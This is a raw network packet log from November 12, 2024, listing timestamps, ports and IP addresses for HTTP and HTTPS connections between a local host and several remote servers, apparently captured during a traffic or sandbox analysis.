Nov 12, 2024 08:30:38.271240950 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.271253109 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.271265030 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.271285057 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.271306992 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.271505117 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.271516085 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.271528959 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.271539927 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.271552086 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.271564960 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.271576881 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.271585941 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.271585941 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.271586895 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.271603107 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.271611929 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.271611929 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.271646023 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.271646023 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.272021055 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.272032976 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.272046089 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.272058964 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.272070885 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.272085905 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.272095919 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.272103071 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.272123098 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.272175074 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.272375107 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.272387028 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.272397041 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.272409916 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.272419930 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.272423029 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.272433996 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.272438049 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.272470951 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.272470951 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.272614002 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.272624016 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.272666931 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.282192945 CET	443	57072	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:38.282608032 CET	57072	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:38.282635927 CET	443	57072	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:38.283046961 CET	57072	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:38.283051968 CET	443	57072	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:38.283222914 CET	443	57073	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:38.283502102 CET	57073	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:38.283519983 CET	443	57073	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:38.284316063 CET	57073	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:38.284320116 CET	443	57073	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:38.296082020 CET	57068	443	192.168.2.5	20.99.186.246
Nov 12, 2024 08:30:38.306159019 CET	443	57067	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:38.306183100 CET	443	57067	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:38.306240082 CET	57067	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:38.306252003 CET	443	57067	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:38.306276083 CET	57067	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:38.306303024 CET	57067	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:38.313081980 CET	443	57065	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:38.313103914 CET	443	57065	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:38.313153982 CET	57065	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:38.313179016 CET	443	57065	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:38.313196898 CET	57065	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:38.313226938 CET	57065	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:38.315073013 CET	443	57067	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:38.315113068 CET	443	57067	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:38.315131903 CET	57067	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:38.315146923 CET	443	57067	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:38.315160036 CET	443	57067	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:38.315171957 CET	57067	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:38.315195084 CET	57067	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:38.315383911 CET	443	57066	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:38.315408945 CET	443	57066	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:38.315459967 CET	57066	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:38.315474033 CET	443	57066	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:38.315486908 CET	57066	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:38.315505981 CET	57066	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:38.315682888 CET	57067	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:38.315700054 CET	443	57067	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:38.316127062 CET	443	57066	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:38.316143036 CET	443	57066	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:38.316186905 CET	57066	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:38.316193104 CET	443	57066	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:38.316225052 CET	57066	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:38.316242933 CET	57066	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:38.316397905 CET	443	57066	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:38.316452026 CET	57066	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:38.316740036 CET	443	57066	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:38.316796064 CET	57066	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:38.316802025 CET	443	57066	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:38.316812992 CET	443	57066	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:38.316854000 CET	57066	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:38.318772078 CET	57066	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:38.318784952 CET	443	57066	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:38.321280003 CET	443	57065	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:38.321340084 CET	443	57065	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:38.321341038 CET	57065	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:38.321377039 CET	57065	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:38.322283983 CET	57065	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:38.322307110 CET	443	57065	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:38.326822042 CET	443	57069	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:38.326841116 CET	443	57069	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:38.326909065 CET	57069	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:38.326925993 CET	443	57069	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:38.326972961 CET	443	57069	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:38.327111006 CET	57069	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:38.328025103 CET	57069	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:38.328044891 CET	443	57069	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:38.328054905 CET	57069	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:38.328061104 CET	443	57069	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:38.330750942 CET	57084	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:38.330787897 CET	443	57084	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:38.330894947 CET	57084	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:38.331001043 CET	57084	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:38.331012011 CET	443	57084	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:38.337063074 CET	443	57076	23.198.7.180	192.168.2.5
Nov 12, 2024 08:30:38.337201118 CET	443	57070	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:38.337241888 CET	443	57070	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:38.337289095 CET	57076	443	192.168.2.5	23.198.7.180
Nov 12, 2024 08:30:38.337304115 CET	443	57076	23.198.7.180	192.168.2.5
Nov 12, 2024 08:30:38.337323904 CET	57070	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:38.337479115 CET	57070	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:38.337491035 CET	443	57070	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:38.337553024 CET	57070	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:38.337558031 CET	443	57070	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:38.338851929 CET	443	57076	23.198.7.180	192.168.2.5
Nov 12, 2024 08:30:38.338902950 CET	57076	443	192.168.2.5	23.198.7.180
Nov 12, 2024 08:30:38.339349985 CET	443	57075	23.198.7.180	192.168.2.5
Nov 12, 2024 08:30:38.339519978 CET	57075	443	192.168.2.5	23.198.7.180
Nov 12, 2024 08:30:38.339543104 CET	443	57075	23.198.7.180	192.168.2.5
Nov 12, 2024 08:30:38.339879036 CET	57076	443	192.168.2.5	23.198.7.180
Nov 12, 2024 08:30:38.339941025 CET	443	57076	23.198.7.180	192.168.2.5
Nov 12, 2024 08:30:38.340579033 CET	443	57075	23.198.7.180	192.168.2.5
Nov 12, 2024 08:30:38.340625048 CET	57075	443	192.168.2.5	23.198.7.180
Nov 12, 2024 08:30:38.340996981 CET	57075	443	192.168.2.5	23.198.7.180
Nov 12, 2024 08:30:38.341058969 CET	443	57075	23.198.7.180	192.168.2.5
Nov 12, 2024 08:30:38.342576981 CET	57085	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:38.342612982 CET	443	57085	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:38.342747927 CET	57085	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:38.342948914 CET	57085	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:38.342963934 CET	443	57085	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:38.349455118 CET	443	57071	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:38.349880934 CET	443	57071	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:38.349926949 CET	57071	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:38.349951029 CET	57071	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:38.349962950 CET	443	57071	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:38.349971056 CET	57071	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:38.349976063 CET	443	57071	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:38.356502056 CET	57086	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:38.356528997 CET	443	57086	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:38.356595993 CET	57086	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:38.356719971 CET	57086	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:38.356734991 CET	443	57086	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:38.385693073 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.385740042 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.385775089 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.385775089 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.385792017 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.385828972 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.385838032 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.385878086 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.385895014 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.385930061 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.385962963 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.386002064 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.386002064 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.386010885 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.386040926 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.386065960 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.386089087 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.386094093 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.386136055 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.386142969 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.386168957 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.386209965 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.386212111 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.386224031 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.386250019 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.386251926 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.386262894 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.386265993 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.386281013 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.386305094 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.386315107 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.386315107 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.386315107 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.386349916 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.386349916 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.386389971 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.386399984 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.386425972 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.386435986 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.386437893 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.386467934 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.386467934 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.386501074 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.386512995 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.386563063 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.386565924 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.386590958 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.386617899 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.386631966 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.386687994 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.386699915 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.386712074 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.386732101 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.386763096 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.386795998 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.386806011 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.386851072 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.386851072 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.386878967 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.386889935 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.386929035 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.386929035 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.386965036 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.386976004 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.386986971 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.386997938 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.387028933 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.387028933 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.387116909 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.387130022 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.387141943 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.387150049 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.387151957 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.387197971 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.387197971 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.392915010 CET	57076	443	192.168.2.5	23.198.7.180
Nov 12, 2024 08:30:38.392931938 CET	443	57076	23.198.7.180	192.168.2.5
Nov 12, 2024 08:30:38.392976046 CET	57075	443	192.168.2.5	23.198.7.180
Nov 12, 2024 08:30:38.392997980 CET	443	57075	23.198.7.180	192.168.2.5
Nov 12, 2024 08:30:38.405234098 CET	443	57074	152.195.19.97	192.168.2.5
Nov 12, 2024 08:30:38.405438900 CET	57074	443	192.168.2.5	152.195.19.97
Nov 12, 2024 08:30:38.405469894 CET	443	57074	152.195.19.97	192.168.2.5
Nov 12, 2024 08:30:38.406624079 CET	443	57074	152.195.19.97	192.168.2.5
Nov 12, 2024 08:30:38.406685114 CET	57074	443	192.168.2.5	152.195.19.97
Nov 12, 2024 08:30:38.407605886 CET	57074	443	192.168.2.5	152.195.19.97
Nov 12, 2024 08:30:38.407672882 CET	443	57074	152.195.19.97	192.168.2.5
Nov 12, 2024 08:30:38.407864094 CET	57074	443	192.168.2.5	152.195.19.97
Nov 12, 2024 08:30:38.412528992 CET	443	57073	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:38.412552118 CET	443	57073	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:38.412600040 CET	57073	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:38.412619114 CET	443	57073	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:38.412656069 CET	57073	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:38.412772894 CET	443	57073	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:38.412817955 CET	443	57073	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:38.412847996 CET	443	57072	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:38.412858963 CET	57073	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:38.412869930 CET	443	57072	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:38.412882090 CET	443	57073	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:38.412899971 CET	57073	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:38.412906885 CET	443	57073	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:38.412910938 CET	57072	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:38.412930965 CET	443	57072	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:38.412950039 CET	443	57072	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:38.413069010 CET	57072	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:38.413089037 CET	443	57072	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:38.413101912 CET	57072	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:38.413108110 CET	443	57072	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:38.413116932 CET	57072	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:38.413120031 CET	443	57072	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:38.416316986 CET	57087	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:38.416357040 CET	443	57087	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:38.416380882 CET	57088	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:38.416408062 CET	443	57088	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:38.416425943 CET	57087	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:38.416467905 CET	57088	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:38.416565895 CET	57087	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:38.416580915 CET	443	57087	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:38.416604042 CET	57088	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:38.416616917 CET	443	57088	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:38.445523977 CET	57075	443	192.168.2.5	23.198.7.180
Nov 12, 2024 08:30:38.445527077 CET	57076	443	192.168.2.5	23.198.7.180
Nov 12, 2024 08:30:38.451330900 CET	443	57074	152.195.19.97	192.168.2.5
Nov 12, 2024 08:30:38.492374897 CET	57074	443	192.168.2.5	152.195.19.97
Nov 12, 2024 08:30:38.492408037 CET	443	57074	152.195.19.97	192.168.2.5
Nov 12, 2024 08:30:38.522710085 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.605664968 CET	443	57068	20.99.186.246	192.168.2.5
Nov 12, 2024 08:30:38.605685949 CET	443	57068	20.99.186.246	192.168.2.5
Nov 12, 2024 08:30:38.605734110 CET	57068	443	192.168.2.5	20.99.186.246
Nov 12, 2024 08:30:38.605758905 CET	443	57068	20.99.186.246	192.168.2.5
Nov 12, 2024 08:30:38.607589960 CET	443	57079	23.198.7.178	192.168.2.5
Nov 12, 2024 08:30:38.607657909 CET	443	57080	23.198.7.178	192.168.2.5
Nov 12, 2024 08:30:38.608262062 CET	57068	443	192.168.2.5	20.99.186.246
Nov 12, 2024 08:30:38.608314991 CET	443	57068	20.99.186.246	192.168.2.5
Nov 12, 2024 08:30:38.608361006 CET	57068	443	192.168.2.5	20.99.186.246
Nov 12, 2024 08:30:38.609021902 CET	57080	443	192.168.2.5	23.198.7.178
Nov 12, 2024 08:30:38.609036922 CET	443	57080	23.198.7.178	192.168.2.5
Nov 12, 2024 08:30:38.609452009 CET	57079	443	192.168.2.5	23.198.7.178
Nov 12, 2024 08:30:38.609468937 CET	443	57079	23.198.7.178	192.168.2.5
Nov 12, 2024 08:30:38.610064030 CET	443	57080	23.198.7.178	192.168.2.5
Nov 12, 2024 08:30:38.610147953 CET	57080	443	192.168.2.5	23.198.7.178
Nov 12, 2024 08:30:38.610585928 CET	443	57079	23.198.7.178	192.168.2.5
Nov 12, 2024 08:30:38.610656977 CET	57079	443	192.168.2.5	23.198.7.178
Nov 12, 2024 08:30:38.611183882 CET	443	57074	152.195.19.97	192.168.2.5
Nov 12, 2024 08:30:38.611192942 CET	443	57074	152.195.19.97	192.168.2.5
Nov 12, 2024 08:30:38.611195087 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.611221075 CET	443	57074	152.195.19.97	192.168.2.5
Nov 12, 2024 08:30:38.611232996 CET	443	57074	152.195.19.97	192.168.2.5
Nov 12, 2024 08:30:38.611257076 CET	443	57074	152.195.19.97	192.168.2.5
Nov 12, 2024 08:30:38.611258984 CET	57074	443	192.168.2.5	152.195.19.97
Nov 12, 2024 08:30:38.611293077 CET	57074	443	192.168.2.5	152.195.19.97
Nov 12, 2024 08:30:38.611320019 CET	57074	443	192.168.2.5	152.195.19.97
Nov 12, 2024 08:30:38.613008022 CET	443	57077	204.79.197.219	192.168.2.5
Nov 12, 2024 08:30:38.614803076 CET	443	57078	204.79.197.219	192.168.2.5
Nov 12, 2024 08:30:38.616301060 CET	57080	443	192.168.2.5	23.198.7.178
Nov 12, 2024 08:30:38.616377115 CET	443	57080	23.198.7.178	192.168.2.5
Nov 12, 2024 08:30:38.616630077 CET	57079	443	192.168.2.5	23.198.7.178
Nov 12, 2024 08:30:38.616718054 CET	443	57079	23.198.7.178	192.168.2.5
Nov 12, 2024 08:30:38.621129990 CET	57077	443	192.168.2.5	204.79.197.219
Nov 12, 2024 08:30:38.621140003 CET	443	57077	204.79.197.219	192.168.2.5
Nov 12, 2024 08:30:38.621257067 CET	57078	443	192.168.2.5	204.79.197.219
Nov 12, 2024 08:30:38.621279955 CET	443	57078	204.79.197.219	192.168.2.5
Nov 12, 2024 08:30:38.622298956 CET	443	57077	204.79.197.219	192.168.2.5
Nov 12, 2024 08:30:38.622368097 CET	57077	443	192.168.2.5	204.79.197.219
Nov 12, 2024 08:30:38.622389078 CET	443	57078	204.79.197.219	192.168.2.5
Nov 12, 2024 08:30:38.622443914 CET	57078	443	192.168.2.5	204.79.197.219
Nov 12, 2024 08:30:38.625138998 CET	57080	443	192.168.2.5	23.198.7.178
Nov 12, 2024 08:30:38.625158072 CET	57074	443	192.168.2.5	152.195.19.97
Nov 12, 2024 08:30:38.625160933 CET	443	57080	23.198.7.178	192.168.2.5
Nov 12, 2024 08:30:38.625191927 CET	443	57074	152.195.19.97	192.168.2.5
Nov 12, 2024 08:30:38.625916958 CET	57077	443	192.168.2.5	204.79.197.219
Nov 12, 2024 08:30:38.625988007 CET	443	57077	204.79.197.219	192.168.2.5
Nov 12, 2024 08:30:38.626574039 CET	57078	443	192.168.2.5	204.79.197.219
Nov 12, 2024 08:30:38.626663923 CET	443	57078	204.79.197.219	192.168.2.5
Nov 12, 2024 08:30:38.664952993 CET	57079	443	192.168.2.5	23.198.7.178
Nov 12, 2024 08:30:38.664973021 CET	443	57079	23.198.7.178	192.168.2.5
Nov 12, 2024 08:30:38.680587053 CET	57077	443	192.168.2.5	204.79.197.219
Nov 12, 2024 08:30:38.680605888 CET	443	57077	204.79.197.219	192.168.2.5
Nov 12, 2024 08:30:38.696193933 CET	57080	443	192.168.2.5	23.198.7.178
Nov 12, 2024 08:30:38.696594000 CET	57078	443	192.168.2.5	204.79.197.219
Nov 12, 2024 08:30:38.696609974 CET	443	57078	204.79.197.219	192.168.2.5
Nov 12, 2024 08:30:38.711836100 CET	57079	443	192.168.2.5	23.198.7.178
Nov 12, 2024 08:30:38.725374937 CET	57077	443	192.168.2.5	204.79.197.219
Nov 12, 2024 08:30:38.784774065 CET	443	57080	23.198.7.178	192.168.2.5
Nov 12, 2024 08:30:38.784971952 CET	443	57080	23.198.7.178	192.168.2.5
Nov 12, 2024 08:30:38.785444975 CET	57080	443	192.168.2.5	23.198.7.178
